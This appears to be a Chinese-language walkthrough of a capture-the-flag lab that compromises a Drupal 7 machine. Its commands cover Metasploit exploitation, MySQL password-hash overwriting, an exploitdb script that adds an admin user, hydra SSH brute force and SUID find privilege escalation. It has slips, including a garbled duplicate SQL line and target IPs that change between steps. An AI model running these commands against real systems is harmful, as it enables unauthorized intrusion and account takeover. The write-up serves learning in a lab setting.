目录
一. 环境
靶机:192.168.1.184
攻击机kali:192.168.1.98
(l网络配置都是NAT模式)
----开始---渗透
二. 信息收集
1. 主机发现
1. nmap -sP 192.168.1.0/24 或 arp-scan -l #识别目标主机
2. nmap -sn 192.168.1.0/24 或者 nmap -sP 192.168.1.0/24 #主机发现/主机探测
3. nmap -sS -A -p- 192.168.1.184 #识别目标主机服务,端口
-A 全面系统检测、启用脚本检测、扫描等
-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限
发现了靶机IP 192.168.1.184 及 80端口开放
2.访问 192.168.1.184:80
发现网站是Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本
三. 利用msfconsole 攻击(拿到flag1)
1. 漏洞利用成功
1. search drupal #查找drupal的漏洞
2. use 2 #利用第2个龙洞
3. show options #显示详情
4. set rhosts 192.168.1.184 # 设置靶机地址
5. run 或 exploit # 开始攻击
攻击成功后
6. pwd # 查看当前路径
2. 进入会话 ,拿到flag1.txt ---shell
四. 找到配置文件,获取flag2
根据提示:Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件——你也一样。
五. 修改管理员密码,登录网站,拿到flag3
1. 获取交互式shell, 执行MySQL语句
flag2提示:最好不要用暴力破解、数据库账号密码
操作发现账号密码无法直接登录mysql,利用netstat -ano #查看端口情况 ,查看到3306端口只允许本地访问,而3306是mysql的默认端口,由此判断我们要获取一个交互式shell,目的是为了进入数据库,执行mysql语句
netstat -ano #查看端口情况
python -c 'import pty;pty.spawn("/bin/bash")' #获取交互式shell,使其可执行MySQL语句
mysql -udbuser -pR0ck3t #登录MySQL
2. 查看管理员用户
show databases; #显示所有数据库
use drupaldb; #选择当前数据库为dr库
show tables; #显示所以数据表
select * from users; #显示users表中所有内容,查找管理员账户
3. 修改管理员密码
方法1: 增加一个管理员
查看Drupal版本,确定Drupal版本为7.24;在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
cat /var/www/includes/bootstrap.inc | grep VERSION #查看版本信息
searchsploit drupal #查看该版本drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2 -p admin2 #增加管理员用户
方法2: 用drupal的加密脚本加密,脚本在根目录下的scripts
重新进入交互式shell,然后两段cd回到根目录,然后获得hash码
1. python -c 'import pty; pty.spawn("/bin/bash")' #重新取得交互式shell
2. php scripts/password-hash.sh admin1 #后面你设置的密码
重新进入数据库改密码
3. mysql -udbuser -pR0ck3t #重新进入MYSQL
4. use drupaldb; 进入数据库
5. update drupaldb.users set pass="$S$DaBKN3LqPTjspZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";
6. <spZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";
注意: pass后面跟你的加密密码明文,第二段为$后第十二个字开始输
登录账号 admin 密码 admin1,找到flag3
六. 用find语句,找到flag4
find / | grep "flag*"
上面用find 过滤出flag 可以直接找到flag4文件;下面是查找到find有特殊权限(是不是有点晕乎了,那就跳过这个。。)
查看是否有sgid位的可执行文件(0输入,1标准输出,2错误输出)
find / –perm /4000 –print 2>/dev/null #找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶
七. SUID提权,获取最后的flag
falg4提示:Can you use this same method to find or access the flag in root?
1. find shell -exec "/bin/sh" \; #提权 (当前目录有shell文件)
或者 find / -name shell -exec "/bin/sh" \;
name指定shell文件也可以touch自己创一个,/bin/sh调用shell
2. whoami #查看权限
3. cd /root #进入root
4. ls #列出文件
5. cat thefinalflag.txt #查看
再加一点: 我觉得到上面那步就已经结束了,下面的应该是提升权限详解
已知22端口发放,查看etc/shadow和/etc/passwd文件,发现Flag4用户可以hydra爆破一下
hydra -l flag4 -P ssh.txt 爆破成功(-P 后面是自定义爆破字典)Flag4 密码:orange
ssh flag4@172.16.43.140 登录flag4用户,进去之后,发现是“$”,而不是“#”,没有权限
find/ -perm -4000 2>/dev/null 检查SUID标识
find ./ aaa -exec '/bin/sh' \; 利用find提权,拿到root权限